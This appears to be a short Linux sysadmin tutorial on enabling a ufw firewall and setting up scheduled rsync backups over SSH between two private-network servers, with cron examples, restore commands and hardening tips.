sudo ufw default deny incoming && \
sudo ufw allow ssh && \
sudo ufw allow port-1panel

After that we need apply ufw using:

sudo ufw enable

The Purpose

• Automatic daily or weekly backups.
• Data efficient (only changes are copied).
• Secure (controlled access permissions, data encrypted via SSH).

Key Components

• rsync
  Efficient file/folder synchronization
• cron
  Automatic backup scheduling
• SSH Key
  Secure authentication

Torpology

• Server A: 192.168.1.10 (data source)
• Server B: 192.168.1.20 (backup destination)
• Backed up folder: /data
• Backup destination folder: /backup/server-a

Setup SSH Key

On server A:

ssh-keygen -t rsa -b 4096 -f server-backup

ssh-copy-id admin@192.168.1.20

Try connection:

ssh -i ~/.ssh/server-backup admin@192.168.1.20 

Backup using rsync

rsync -avz -e ssh /data/ admin@192.168.1.20:/backup/server-a/

Option explanation:

• -a : Archive (permission, symbolic link, etc.)
• - v : Verbose
• -z : Compression on transfer
• -e ssh : Use SSH as protocol

If want to add log and delete old backup:

rsync -avz --delete --log-file=/var/log/rsync-backup.log -e ssh /data/ admin@192.168.1.20:/backup/server-a/

Schedule for automation

Edit crontab:

crontab -e

Add a schedule, for example: backup every day at 2 am:

0 2 * * * rsync -avz --delete --log-file=/var/log/rsync-backup.log -e ssh /data/ admin@192.168.1.20:/backup/server-a/

If want change, you can try config crontab at here.

Restore Backup

From server B to server A, we need seup ssh key like before:

rsync -avz -e ssh ubackup@192.168.1.20:/backup/server-a/ /data/

Or another if want restore data from server A:

rsync -avz -e ssh admin@192.168.1.20:/backup/server-a/ /data/

Additional Security

• Restrict SSH access to backups only (use a dedicated account).
• Use chroot or directory restrictions for user backups.
• Encrypt disks on the backup server (LUKS / ecryptfs).
• Rotate backups with rsnapshot or manual weekly backups

Ex: Backup Daily and Weekly

Folder want to backup: /data/

Folder target backup:

/backup/server-a/daily/
/backup/server-a/weekly/

Crontab:

0 2 * * * rsync -avz --delete /data/ admin@192.168.1.20:/backup/server-a/daily/
0 3 * * 0 rsync -avz --delete /data/ admin@192.168.1.20:/backup/server-a/weekly/